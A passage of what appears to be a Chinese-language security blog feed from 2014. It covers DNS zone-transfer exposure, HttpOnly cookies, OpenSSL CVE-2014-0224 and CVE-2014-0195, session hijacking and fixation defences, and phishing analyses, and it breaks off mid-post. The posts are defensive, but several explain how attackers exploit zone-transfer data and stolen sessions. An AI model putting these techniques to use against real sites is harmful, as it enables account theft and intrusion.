<p>cgi: 194, 261</p> <p>dns: 2634, 9085</p> <p>ns: 12198, 63431</p> <p>ftp: 197414, 199481</p> <p>blog: 5074, 5446</p> <p>mail: 238742, 254515</p> <p>email: 2484, 2706</p> <p>webmail: 24164, 25067</p> <p>owa: 798, 888</p> <p>autodiscover: 30462, 30466</p> <p>vpn: 3152, 7025</p> <p>sso: 398, 462</p> <p>ssl: 709, 932</p> <p>proxy: 1464, 2215</p> <p>cms: 1320, 1696</p> <p>crm: 1152, 1301</p> <p>forum: 3654, 4037</p> </li> </ul> <h3 id="按-end-的人有福了">按 End 的人有福了</h3> <p>究竟經由 zone transfer 所得到的資料可以拿來做什麼?對於攻擊者而言,主要有以下三種利用方式:</p> <ul> <li>建立字典檔:入侵者可利用上述資料建立一份最常見的 subdomain 的字典檔,未來利用此字典檔進行掃描時可節省許多時間成本,快速檢測某間公司有哪些 subdomain</li> <li>旁敲側擊:入侵者可觀察哪些 name server 有開放 zone transfer 查詢,接著去蒐集還有哪些公司使用同一台 name server,再進一步掃瞄那些 domain。那些 domain 也許不是大公司、不在 Alexa top 1M 內,但你無法確保它永遠不會是入侵者的攻擊目標。</li> <li>結合 0day 進行攻擊:當某個第三方套件被揭露 0day 弱點時,擁有上述資料的人就可以迅速執行大範圍的攻擊。例如<a href="http://www.cvedetails.com/cve/CVE-2013-0156/">這幾年正夯的 Rails 在去年被爆出有 Remote Code Exection 弱點 CVE-2013-0156</a>,入侵者可直接對所有 redmine 進行攻擊。<a href="http://www.cvedetails.com/cve/CVE-2014-3412/">Juniper VPN 在今年也被揭露 Remote Code Execution 弱點</a>,入侵者可找尋所有 vpn subdomain 來進行嘗試。</li> </ul> <p>在上次我們提起這個古老的弱點後,已經有部分台灣企業陸續將此問題修復,但許多台灣企業仍有此問題而不自知,也許過陣子我們直接做個 Wall of Shame 條列出哪些廠商有問題會讓大家比較有感 :p</p> <p>不過也別急著笑台灣企業,許多國際級的大網站同樣也有此類問題。由此可見資安問題不分新舊、不分國內外,總是容易被大家忽略,等到不知不覺被入侵者捅了重重的一刀後,才驚覺這許多的小弱點一旦串起來是多麼的可怕。你,開始有所警覺了嗎?</p> https://devco.re/blog/2014/06/13/zone-transfer-statistics-of-alexa-top-1m/ https://devco.re/blog/2014/06/13/zone-transfer-statistics-of-alexa-top-1m Fri, 13 Jun 2014 00:00:00 +0800 HttpOnly - HTTP Headers 的資安議題 (3) <p>上次我們提到了 <a href="https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/">Content-Security-Pilicy</a>,這次我們來聊聊同樣是為了防禦 XSS 而生的另一個技術。</p> <h3 id="httponly-簡介">HttpOnly 簡介</h3> <p>Cookie 的概念雖然早在 1994 年就由 Netscape 的工程師 Montulli 提出,但當時仍未有完善的防護機制,像是 HttpOnly、Secure 等規範都是後來陸續被提出,直到 2011 年 4 月才在 <a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> 中正式定案。而其中的 <a href="https://www.owasp.org/index.php/HttpOnly">HttpOnly</a> 是專門為了抵禦攻擊者利用 Cross-Site Scripting (XSS) 手法來盜取用戶身份,此項 Cookie 防護設定應該是在 HTTP Headers 系列文中最廣為人知的項目。</p> <h3 id="httponly-主要作用">HttpOnly 主要作用</h3> <p>說明 HttpOnly 主要作用之前,先談談 XSS 最常見的利用方式。XSS 攻擊早在 1990 年就被發現,此攻擊手法最常見的利用方式是存取使用者的 cookie 來獲得一些機敏資料。像是存取 session cookie 即可盜用使用者的身份(關於 session 的重要性,可以參考我們部落格的另一篇文章 <a href="https://devco.re/blog/2014/06/03/http-session-protection/">HTTP Session 攻擊與防護</a>),如果在 cookie 中記錄了其他機敏資訊,也可能會一併遭竊。因此若能阻止攻擊者存取帶有敏感資料的 cookie,就能減少 XSS 對使用者的影響,因而催生了 HttpOnly 機制。</p> <!-- more --> <p>當 cookie 有設定 HttpOnly flag 時,瀏覽器會限制 cookie 只能經由 HTTP(S) 協定來存取。因此當網站有 XSS 弱點時,若 cookie 含有 HttpOnly flag,則攻擊者無法直接經由 JavaScript 存取使用者的 session cookie,可降低使用者身份被盜用的機率。早期有些瀏覽器未完整實作 HttpOnly 所有功能,因此攻擊者仍可透過 XMLHttpRequest 讀取 cookie,但最近幾年各大瀏覽器也陸續阻擋了這個方式。因此 HttpOnly 可有效降低 XSS 的影響並提升攻擊難度。目前瀏覽器的支援列表如下:</p> <p><a href="/assets/img/blog/20140611/httponly-browser-support-list.png"><img src="/assets/img/blog/20140611/httponly-browser-support-list.png" alt="HttpOnly 瀏覽器支援列表" title="HttpOnly 瀏覽器支援列表" /></a></p> <p>其他瀏覽器支援列表以及各家程式語言使用 HttpOnly 的方式可參考 <a href="https://www.owasp.org/index.php/HttpOnly">OWASP HttpOnly</a>。</p> <h3 id="httponly-demo">HttpOnly Demo</h3> <p>以下使用 PHP 程式碼為例:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">session_start</span><span class="p">();</span> <span class="cp">?&gt;</span> <span class="nt">&lt;html&gt;</span> <span class="nt">&lt;head&gt;</span> <span class="nt">&lt;title&gt;</span>HttpOnly Demo<span class="nt">&lt;/title&gt;</span> <span class="nt">&lt;/head&gt;</span> <span class="nt">&lt;body&gt;</span> <span class="nt">&lt;h3&gt;</span>HttpOnly Demo<span class="nt">&lt;/h3&gt;</span> <span class="nt">&lt;p&gt;</span>If you didn't set HttpOnly flag, cookie will write down by document.write().<span class="nt">&lt;/p&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="nt">&lt;/script&gt;</span> <span class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p><a href="/assets/img/blog/20140611/httponly-unset.png"><img src="/assets/img/blog/20140611/httponly-unset.png" alt="未設定 HttpOnly 之前,cookie 可被 JavaScript 存取" title="未設定 HttpOnly 之前,cookie 可被 JavaScript 存取" /></a></p> <p>在上圖中可看到 PHPSESSID 已成功被 JavaScript 存取,這也意味著網站有 XSS 弱點時,使用者的身份有較高的機率被盜用。為了使用 HttpOnly 進行防護,讓我們將 PHP 程式碼修改如下:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span> <span class="nb">ini_set</span><span class="p">(</span><span class="s2">"session.cookie_httponly"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="nb">session_start</span><span class="p">();</span> <span class="cp">?&gt;</span></code></pre></figure> <p><a href="/assets/img/blog/20140611/httponly-set.png"><img src="/assets/img/blog/20140611/httponly-set.png" alt="設定 HttpOnly 後,cookie 已無法被 JavaScript 存取" title="設定 HttpOnly 後,cookie 已無法被 JavaScript 存取" /></a></p> <p>我們可以使用畫面中右上角的 Chrome <a href="https://chrome.google.com/webstore/detail/edit-this-cookie/fngmhnnpilhplaeedifhccceomclgfbg">Edit This Cookie 套件</a> 看到 HttpOnly 已經被勾選(如紅框處),並且 PHPSESSID 已無法被 JavaScript 存取,不存在於 HTML 中。</p> <blockquote> <p>目前 PHP 官方的教學是用 session_set_cookie_params 這個 function,可參考<a href="http://www.php.net/manual/en/function.session-set-cookie-params.php">官方網頁的這篇說明</a></p> </blockquote> <h3 id="httponly-實際使用案例">HttpOnly 實際使用案例</h3> <p>由於 HttpOnly 的使用方式較簡單,因此僅列舉幾個站台的使用結果圖片給大家參考,就不另外多做說明囉!</p> <ul> <li>T客邦 (www.techbang.com),有設定 HttpOnly</li> </ul> <p><a href="/assets/img/blog/20140611/httponly-example-1.png"><img src="/assets/img/blog/20140611/httponly-example-1.png" alt="T客邦" title="T客邦" /></a></p> <ul> <li>愛料理 (icook.tw),有設定 HttpOnly</li> </ul> <p><a href="/assets/img/blog/20140611/httponly-example-2.png"><img src="/assets/img/blog/20140611/httponly-example-2.png" alt="愛料理" title="愛料理" /></a></p> <ul> <li>Mobile01 (www.mobile01.com),未設定 HttpOnly</li> </ul> <p><a href="/assets/img/blog/20140611/httponly-example-3.png"><img src="/assets/img/blog/20140611/httponly-example-3.png" alt="Mobile01" title="Mobile01" /></a></p> <ul> <li>Giga Circle (tw.gigacircle.com),未設定 HttpOnly</li> </ul> <p><a href="/assets/img/blog/20140611/httponly-example-4.png"><img src="/assets/img/blog/20140611/httponly-example-4.png" alt="Giga Circle" title="Giga Circle" /></a></p> <h3 id="結論">結論</h3> <p>HttpOnly 是存在已久的技術,但在我們<a href="https://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/">系列文第一篇</a>的統計當中,採用的比例仍然偏低。如同之前我們提及的 <a href="http://devco.re/blog/2014/05/05/zone-transfer-CVE-1999-0532-an-old-dns-security-issue/">Zone Transer</a> 問題,即使一項資安技術或資安議題存在很久,也需要大家持續關注。</p> <p>但即使採用了 HttpOnly,也僅能防止惡意人士不正當存取 cookie,無法防禦其他的 XSS 攻擊方式,例如將使用者導向至釣魚網站騙取個資、導向至惡意網站植入後門、置換網頁外觀等等。同時未來仍有可能出現新的 XSS 攻擊手法,因此千萬別因設定了 HttpOnly 就掉以輕心,誤以為不會再被 XSS 手法侵害企業利益或用戶資料,仍然必須謹慎檢查每一個系統輸出輸入點,以避免未來因上述影響導致用戶或企業蒙受損失。</p> https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/ https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3 Wed, 11 Jun 2014 00:00:00 +0800 OpenSSL 再爆嚴重漏洞,部分重要網站仍在風險中! <p>(本篇最後更新時間:2014.6.9 15:40 pm)</p> <p>OpenSSL 團隊於 6/5 修補了<a href="http://www.openssl.org/news/secadv_20140605.txt">六項安全漏洞</a>,<a href="http://www.sans.org/about/">SANS</a> 在<a href="https://isc.sans.edu/diary/Critical+OpenSSL+Patch+Available+Patch+Now/18211">這篇文章</a>中整理了這幾個漏洞的摘要,這裡截圖表格如下:</p> <p><a href="/assets/img/blog/20140609/openssl_0605_table.png"><img src="/assets/img/blog/20140609/openssl_0605_table.png" alt="OpenSSL 0605 安全更新比較表" /></a></p> <p>其中 CVE-2014-0224、CVE-2014-0195 兩項被列為 Critical,我們分別來看看這兩個弱點到底造成了什麼危害。</p> <!-- more --> <h3 id="cve-2014-0224-ccs-injection-vulnerability">CVE-2014-0224 (CCS Injection Vulnerability)</h3> <h4 id="說明">說明</h4> <p>加密通訊被視為預防<a href="http://zh.wikipedia.org/wiki/%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB">中間人攻擊</a>的解法之一,利用 SSL 協定防止竊聽、竄改傳輸資料是一種常見的方式。然而 OpenSSL 這次出現在 ChangeCipherSpec(更改密鑰規格)的設計瑕疵,讓攻擊者有辦法解密所有通訊內容,讓加密保護徹底失效。</p> <p>該弱點原理是 OpenSSL 伺服器端在實作 handshake 時並未檢查訊息的順序(嚴格來說是 ChangeCipherSpec 的順序),所以攻擊者可以提前送出 ChangeCipherSpec 訊息,使伺服器在還未初始完畢的狀態先去做 ChangeCipherSpec 的動作,最終造成加解密可解的狀況,是以此弱點稱之為 CCS Injection。更多的細節請參考原通報者 Masashi Kikuchi 的<a href="http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html">部落格</a>,佐以<a href="https://www.imperialviolet.org/2014/06/05/earlyccs.html">這篇</a>附程式碼的解說,OpenSSL github 上關於 CVE-2014-0224 的 <a href="https://github.com/openssl/openssl/commit/a91be10833e61bcdc9002de28489405101c52650">fix</a> 也可以幫助了解。</p> <h4 id="誰應該注意">誰應該注意</h4> <p>所有靠 OpenSSL 保護連線的應用服務都需要注意。又尤其是銀行、金流服務這些連線中存在金融資訊的服務,若不注意會造成信用卡卡號洩漏,網路銀行被盜用。經過實際檢測,<strong>目前仍有銀行單位和金流單位使用有問題的 OpenSSL 版本</strong>。消費者需要特別注意,在使用前也可透過下面小工具來輔助檢查自己所使用的服務使否存在風險:</p> <ul> <li>Tripwire 提供的<a href="http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/">小程式</a> (python)</li> <li>測試網站 <a href="http://ccsbug.exposed/">http://ccsbug.exposed/</a></li> </ul> <p>慶幸的是,此弱點只發生在用戶端及伺服器端皆使用有問題 OpenSSL 版本的狀況下。一般來說,桌面端的瀏覽器都不是使用 OpenSSL,所以一般使用者可以稍微安心。問題比較大的是 android 使用者,android 內建 OpenSSL,許多 app 呼叫它來進行加密傳輸,所以建議 android 用戶在 google 釋出更新前,不要使用手機連線到有問題的服務,或使用自帶 SSL 的 app,例如:firefox、最新版 Chrome (35.0.1916.141)…。</p> <p>另外,若使用者常用到一些加密連線服務,例如 VPN,請自行注意所使用軟體是否使用 OpenSSL,以免受到 CCS Injection 的影響。</p> <p><a href="/assets/img/blog/20140609/logo.png"><img src="/assets/img/blog/20140609/logo.png" alt="CCS Injection Vulnerability" /></a></p> <p>最後說個題外話,原來現在發表漏洞還要為漏洞出張圖,在 Hacker News 原討論串的<a href="https://news.ycombinator.com/item?id=7851357#up_7851735">這篇回應</a>,就有人說:『這個漏洞有 logo 嗎?如果沒有我就不打算認真看待它!』XD</p> <h3 id="cve-2014-0195-dtls-arbitrary-code-execution">CVE-2014-0195 (DTLS arbitrary code execution)</h3> <h4 id="說明-1">說明</h4> <p>OpenSSL 在處理 <a href="http://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security">DTLS</a> 訊息上,為了避免 IP fragmentation,所以做了一些處理機制,這個處理機制並沒有好好驗證 DLTS ClientHello 中的 fragment 長度(嚴格來說是在正確的位置做驗證),若攻擊者發送一個很長的 fragment,能造成緩衝區溢位攻擊。更多的細節請參考<a href="http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002#.U5FqnvmSyD4">這篇文章</a>。</p> <p>比較有趣的是那段出問題的程式碼是一位有名德國工程師 Robin Seggelmann 寫的,有名的點在於上次非常嚴重的 <a href="http://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/">Heartbleed</a> 事件也是他寫的 code XD</p> <h4 id="誰應該注意-1">誰應該注意</h4> <p>使用 OpenSSL 且有用到 DTLS 的服務提供者,通常是 VoIP、WebRTC、VPN 這類服務,這個風險有可能會造成伺服器被入侵。</p> <h3 id="修補">修補</h3> <p>除了上面所提及兩個嚴重風險,這次的更新也同時修復了幾個 DOS 的弱點,強烈建議伺服器端更新。 請確認 OpenSSL 已經更新到下面版本,並且有重新啟動讓其生效。</p> <ul> <li>OpenSSL 0.9.8za</li> <li>OpenSSL 1.0.0m</li> <li>OpenSSL 1.0.1h</li> </ul> <p>更新資訊依據所用的系統分別如下:</p> <ul> <li><a href="http://www.ubuntu.com/usn/usn-2232-1/">Ubuntu</a></li> <li><a href="https://lists.debian.org/debian-security-announce/2014/msg00129.html">Debian</a></li> <li><a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-14:14.openssl.asc">FreeBSD</a></li> <li><a href="http://lists.centos.org/pipermail/centos-announce/2014-June/020344.html">CentOS</a></li> <li><a href="https://rhn.redhat.com/errata/RHSA-2014-0624.html">Red Hat 5</a></li> <li><a href="https://rhn.redhat.com/errata/RHSA-2014-0625.html">Red Hat 6</a></li> <li><a href="https://aws.amazon.com/jp/security/security-bulletins/openssl-security-advisory/">Amazon Linux AMI</a></li> </ul> <h3 id="小結">小結</h3> <p>這次 OpenSSL 做了數個安全性的更新,雖然不若<a href="http://devco.re/blog/2014/04/11/openssl-heartbleed-how-to-hack-how-to-protect/">之前 Heartbleed 那麼嚴重</a>,但卻也讓使用者暴露在風險中。建議有使用 OpenSSL 都應該更新到最新版本,尤其是一些大型的銀行及金流服務,更應儘速更新。</p> https://devco.re/blog/2014/06/09/openssl-CVE-2014-0224-ccs-injection/ https://devco.re/blog/2014/06/09/openssl-CVE-2014-0224-ccs-injection Mon, 09 Jun 2014 00:00:00 +0800 HTTP Session 攻擊與防護 <h3 id="前言">前言</h3> <p>大家還記得四月份的 <a href="https://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/">OpenSSL Heartbleed</a> 事件嗎?當時除了網站本身以外,受害最嚴重的就屬 VPN Server 了。國內外不少駭客不眠不休利用 Heartbleed 漏洞竊取 VPN Server 的管理者 Session Cookie,運氣好的話就可以直接登入大企業的內網。</p> <p>但是,其實這樣的風險是可以避免的,今天我們以開發者的角度來談談 Session 的攻擊與防護。</p> <!-- more --> <h3 id="什麼是-session什麼是-cookie">什麼是 Session?什麼是 Cookie?</h3> <p>在談 Session 之前,我們要先瞭解 Cookie。你知道網站是如何辨識我們的身份嗎?為什麼我們輸入完帳號密碼之後,網站就知道我們是誰呢?就是利用 Cookie。Cookie 是網站在瀏覽器中存放的資料,內容包括使用者在網站上的偏好設定、或者是登入的 Session ID。網站利用 Session ID 來辨認訪客的身份。</p> <p>Cookie 既然存放在 Client 端,那就有被竊取的風險。例如透過 <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">Cross-Site Scripting(跨站腳本攻擊,又稱 XSS)</a>,攻擊者可以輕易竊取受害者的 Cookie。如果 Cookie 被偷走了,你的身份就被竊取了。</p> <p>我們可以用一個譬喻來表示:你加入了一個秘密俱樂部,填寫完會員資料後,得到了一張會員卡。之後只要憑這張會員卡,就可以進入這個俱樂部。但是隔天,你的會員卡掉了。撿走你會員卡的人,就可以用你的會員卡進入這個秘密俱樂部,因為會員卡上沒有你的照片或是其他足以辨識身分的資訊。這就像是一個會員網站,我們申請了一個帳號(填寫會員資料加入俱樂部),輸入帳號密碼登入之後,得到一組 Cookie,其中有 Session ID 來辨識你的身分(透過會員卡來辨識身分)。今天如果 Cookie 被偷走了(會員卡被撿走了),別人就可以用你的帳號來登入網站(別人用你的會員卡進入俱樂部)。</p> <p>Session 攻擊手法有三種:</p> <ol> <li>猜測 Session ID (Session Prediction)</li> <li>竊取 Session ID (Session Hijacking)</li> <li>固定 Session ID (Session Fixation)</li> </ol> <p>我們以下一一介紹。</p> <h4 id="session-prediction-猜測-session-id">Session Prediction (猜測 Session ID)</h4> <p>Session ID 如同我們前面所說的,就如同是會員卡的編號。只要知道 Session ID,就可以成為這個使用者。如果 Session ID 的長度、複雜度、雜亂度不夠,就能夠被攻擊者猜測。攻擊者只要寫程式不斷暴力計算 Session ID,就有機會得到有效的 Session ID 而竊取使用者帳號。</p> <p>分析 Session ID 的工具可以用以下幾種</p> <ol> <li><a href="https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">OWASP WebScarab</a></li> <li><a href="http://lcamtuf.coredump.cx/soft/stompy.tgz">Stompy</a></li> <li><a href="http://portswigger.net/burp/">Burp Suite</a></li> </ol> <p>觀察 Session ID 的亂數分布,可以了解是否能夠推出規律、猜測有效的 Session ID。</p> <p><a href="/assets/img/blog/20140603/2014-05-16-http-session-protection-03-session-id-analysis.png"><img src="/assets/img/blog/20140603/2014-05-16-http-session-protection-03-session-id-analysis.png" alt="分析 Session ID" title="分析 Session ID" /></a></p> <p>Ref: <a href="http://programming4.us/security/3950.aspx">http://programming4.us/security/3950.aspx</a></p> <p><strong>防護措施</strong></p> <p>使用 Session ID 分析程式進行分析,評估是否無法被預測。如果沒有 100% 的把握自己撰寫的 Session ID 產生機制是安全的,不妨使用內建的 Session ID 產生 function,通常都有一定程度的安全。</p> <h4 id="session-hijacking-竊取-session-id">Session Hijacking (竊取 Session ID)</h4> <p>竊取 Session ID 是最常見的攻擊手法。攻擊者可以利用多種方式竊取 Cookie 獲取 Session ID:</p> <ol> <li>跨站腳本攻擊 (<a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">Cross-Site Scripting (XSS)</a>):利用 XSS 漏洞竊取使用者 Cookie</li> <li>網路竊聽:使用 ARP Spoofing 等手法竊聽網路封包獲取 Cookie</li> <li>透過 Referer 取得:若網站允許 Session ID 使用 URL 傳遞,便可能從 Referer 取得 Session ID</li> </ol> <p>竊取利用的方式如下圖:</p> <p>受害者已經登入網站伺服器,並且取得 Session ID,在連線過程中攻擊者用竊聽的方式獲取受害者 Session ID。</p> <p><a href="/assets/img/blog/20140603/2014-05-16-http-session-protection-01-session-id-sniffing.png"><img src="/assets/img/blog/20140603/2014-05-16-http-session-protection-01-session-id-sniffing.png" alt="竊取 Session ID" title="竊取 Session ID" /></a></p> <p>攻擊者直接使用竊取到的 Session ID 送至伺服器,偽造受害者身分。若伺服器沒有檢查 Session ID 的使用者身分,則可以讓攻擊者得逞。</p> <p><a href="/assets/img/blog/20140603/2014-05-16-http-session-protection-02-session-id-spoofing.png"><img src="/assets/img/blog/20140603/2014-05-16-http-session-protection-02-session-id-spoofing.png" alt="偽造 Session ID" title="偽造 Session ID" /></a></p> <p><strong>防護措施</strong></p> <ul> <li>禁止將 Session ID 使用 URL (GET) 方式來傳遞</li> <li>設定加強安全性的 Cookie 屬性:HttpOnly (無法被 JavaScript 存取)</li> <li>設定加強安全性的 Cookie 屬性:Secure (只在 HTTPS 傳遞,若網站無 HTTPS 請勿設定)</li> <li>在需要權限的頁面請使用者重新輸入密碼</li> </ul> <h4 id="session-fixation-固定-session-id">Session Fixation (固定 Session ID)</h4> <p>攻擊者誘使受害者使用特定的 Session ID 登入網站,而攻擊者就能取得受害者的身分。</p> <ol> <li>攻擊者從網站取得有效 Session ID</li> <li>使用社交工程等手法誘使受害者點選連結,使用該 Session ID 登入網站</li> <li>受害者輸入帳號密碼成功登入網站</li> <li>攻擊者使用該 Session ID,操作受害者的帳號</li> </ol> <p><a href="/assets/img/blog/20140603/2014-05-16-http-session-protection-04-session-id-fixation.png"><img src="/assets/img/blog/20140603/2014-05-16-http-session-protection-04-session-id-fixation.png" alt="Session Fixation" title="Session Fixation" /></a></p> <p><strong>防護措施</strong></p> <ul> <li>在使用者登入成功後,立即更換 Session ID,防止攻擊者操控 Session ID 給予受害者。</li> <li>禁止將 Session ID 使用 URL (GET) 方式來傳遞</li> </ul> <h3 id="session-防護">Session 防護</h3> <p>那要怎麼防範攻擊呢?當然會有人說,會員卡不要掉不就沒事了嗎?當然我們沒辦法確保用戶不會因為各種方式導致 Cookie 遭竊(XSS、惡意程式等),因此最後一道防線就是網站的 Session 保護。一張會員卡上如果沒有任何可識別的個人資料,當然任何人撿去了都可以用。如果上面有照片跟簽名呢?偷走會員卡的人在進入俱樂部的時候,在門口就會因為照片跟本人不符而被擋下來。Session 保護也是一樣,怎麼讓我們的 Session 保護機制也能辨識身分呢?答案是利用每個使用者特有的識別資訊。</p> <p>每個使用者在登入網站的時候,我們可以用每個人特有的識別資訊來確認身分:</p> <ol> <li>來源 IP 位址</li> <li>瀏覽器 User-Agent</li> </ol> <p>如果在同一個 Session 中,使用者的 IP 或者 User-Agent 改變了,最安全的作法就是把這個 Session 清除,請使用者重新登入。雖然使用者可能因為 IP 更換、Proxy 等因素導致被強制登出,但為了安全性,便利性必須要與之取捨。以 PHP 為例,我們可以這樣撰寫:</p> <figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">if</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">]</span> <span class="o">!==</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'LAST_REMOTE_ADDR'</span><span class="p">]</span> <span class="o">||</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">]</span> <span class="o">!==</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'LAST_USER_AGENT'</span><span class="p">])</span> <span class="p">{</span> <span class="nb">session_destroy</span><span class="p">();</span> <span class="p">}</span> <span class="nb">session_regenerate_id</span><span class="p">();</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'LAST_REMOTE_ADDR'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">];</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'LAST_USER_AGENT'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">];</span></code></pre></figure> <p>除了檢查個人識別資訊來確認是否盜用之外,也可以增加前述的 Session ID 的防護方式:</p> <ol> <li>Cookie 設定 Secure Flag (HTTPS)</li> <li>Cookie 設定 HTTP Only Flag</li> <li>成功登入後立即變更 Session ID</li> </ol> <p>Session 的清除機制也非常重要。當伺服器偵測到可疑的使用者 Session 行為時,例如攻擊者惡意嘗試偽造 Session ID、使用者 Session 可能遭竊、或者逾時等情況,都應該立刻清除該 Session ID 以免被攻擊者利用。</p> <p>Session 清除機制時機:</p> <ol> <li>偵測到惡意嘗試 Session ID</li> <li>識別資訊無效時</li> <li>逾時</li> </ol> <h3 id="管理者有避免使用者帳號遭竊的責任">管理者有避免使用者帳號遭竊的責任</h3> <p>使用者帳號遭竊一直以來都是顯著的問題,但卻鮮少有網站針對 Session 的機制進行保護。攻擊者可以輕鬆使用 <a href="http://codebutler.github.io/firesheep/">firesheep</a> 之類的工具竊取帳號。國外已經有不少網站偵測到 Session 可能遭竊時將帳號強制登出,但國內目前還鮮少網站實作此防禦,設備商的 Web 管理介面更少針對 Session 進行保護。如果 VPN Server 等設備有偵測 Session ID 的偽造,在 <a href="http://devco.re/blog/2014/04/11/openssl-heartbleed-how-to-hack-how-to-protect/">OpenSSL Heartbleed</a> 事件時就不會有那麼慘重的損失了。</p> <p>立刻把自己的網站加上 Session 保護機制吧!</p> https://devco.re/blog/2014/06/03/http-session-protection/ https://devco.re/blog/2014/06/03/http-session-protection Tue, 03 Jun 2014 00:00:00 +0800 LINE 免費貼圖釣魚訊息分析 <p>晚上突然接到社群朋友傳 LINE 的訊息過來,定睛一看並不單純。這網址看起來就是釣魚網站啊?怎麼會這樣呢?難道是朋友在測試我們的警覺心夠不夠嗎?讓我們看下去這個釣魚網頁怎麼玩。</p> <p><a href="/assets/img/blog/20140512/LINE_Phishing_01.png"><img src="/assets/img/blog/20140512/LINE_Phishing_01.png" alt="LINE 傳送贈送貼圖訊息釣魚" title="LINE 傳送贈送貼圖訊息釣魚" /></a></p> <!-- more --> <p>此 LINE 釣魚訊息說只要幫忙轉發 15 次訊息,就會贈送貼圖。先不論 LINE 有沒有這樣的機制,我們先直接點選連結看看葫蘆裡賣什麼藥。</p> <p><a href="/assets/img/blog/20140512/LINE_Phishing_02.png"><img src="/assets/img/blog/20140512/LINE_Phishing_02.png" alt="LINE 釣魚假貼圖網頁" title="LINE 釣魚假貼圖網頁" /></a></p> <p>瀏覽器打開之後,跳出了領取貼圖的「網頁」,而且還有詭異的紅字。各種跡象都跟一般領取貼圖的模式不同,太令人起疑了。點了圖就會跳到 Facebook 登入頁面。</p> <p><a href="/assets/img/blog/20140512/LINE_Phishing_03.png"><img src="/assets/img/blog/20140512/LINE_Phishing_03.png" alt="假 Facebook 登入頁面騙取帳號密碼" title="假 Facebook 登入頁面騙取帳號密碼" /></a></p> <p>明眼人看到這個 Facebook 登入頁面就會發現太假了,破綻多多。Logo、網址、網頁格式破板、簡體字,太多令人懷疑的地方了。在這邊我們只要隨便輸入帳號跟密碼,就能到下個畫面。</p> <p><a href="/assets/img/blog/20140512/LINE_Phishing_04.png"><img src="/assets/img/blog/20140512/LINE_Phishing_04.png" alt="假 Facebook 登入完成頁面" title="假 Facebook 登入完成頁面" /></a></p> <p>結果當然是不會給你貼圖啦!而且網址「cuowu」是「錯誤」的拼音,也暴露了網站作者的身分。直接用瀏覽器看傳遞的頁面叫做「tj.asp」,「tj」正好是「提交」,畫面上的錯誤訊息更是大剌剌的直接秀出簡體字。</p> <p><a href="/assets/img/blog/20140512/LINE_Phishing_05.png"><img src="/assets/img/blog/20140512/LINE_Phishing_05.png" alt="釣魚網站網頁訊息" title="釣魚網站網頁訊息" /></a></p> <p>事後友人直接說 LINE 帳號被盜用發訊息了,而且密碼可能過於簡單、也沒有設定換機密碼。因此在這邊呼籲大家做好 LINE 的安全設定:</p> <ol> <li>加強密碼長度、複雜度</li> <li>設定「換機密碼」</li> <li>若只在手機使用 LINE,可將「允許自其他裝置登入」關閉</li> <li>如果有帳號被盜狀況,趕快聯絡 LINE <a href="https://line.naver.jp/cs/">https://line.naver.jp/cs/</a></li> </ol> <p>大家在享受通訊軟體與朋友傳訊貼圖的同時,也必須要注意有心人士利用這些管道竊取你的帳號密碼喔!</p> https://devco.re/blog/2014/05/12/line-phishing/ https://devco.re/blog/2014/05/12/line-phishing Mon, 12 May 2014 00:00:00 +0800 搶搭核四與服貿熱潮的潛在詐騙網站 <h3 id="votetwam">vote.tw.am</h3> <p>最近很多人都收到了一個看起來很像釣魚網站的核四投票站台簡訊,如下圖:</p> <p><a href="/assets/img/blog/20140507/1.vote.tw.am.jpg"><img src="/assets/img/blog/20140507/1.vote.tw.am.jpg" alt="核四投票站台簡訊" title="核四投票站台簡訊" /></a></p> <p>我們也收到了,但是剛吃飽飯實在很想睡覺,不太想理他,於是就忍不住趴下睡覺,竟然做了個夢…..</p> <!-- more --> <h3 id="站台內容">站台內容</h3> <p>在夢中手滑打開了網頁,內容長得像這個樣子:</p> <p><a href="/assets/img/blog/20140507/2.vote.tw.am_votepage.png"><img src="/assets/img/blog/20140507/2.vote.tw.am_votepage.png" alt="核四投票站台頁面" title="核四投票站台頁面" /></a></p> <p>看了真是非常的義憤填膺!馬上就想投下神聖的一票!但是忽然聽到周公指示說網站底下有奇怪的目錄,照著神諭一試,發現有 .svn 目錄跟 